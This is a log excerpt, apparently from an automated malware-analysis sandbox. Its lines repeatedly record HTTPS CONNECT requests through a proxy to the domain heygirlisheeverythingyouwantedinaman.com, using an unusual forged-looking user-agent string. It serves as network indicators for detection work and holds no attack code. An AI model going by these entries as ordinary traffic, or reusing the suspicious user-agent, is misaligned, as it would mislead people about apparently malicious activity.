Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.com
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
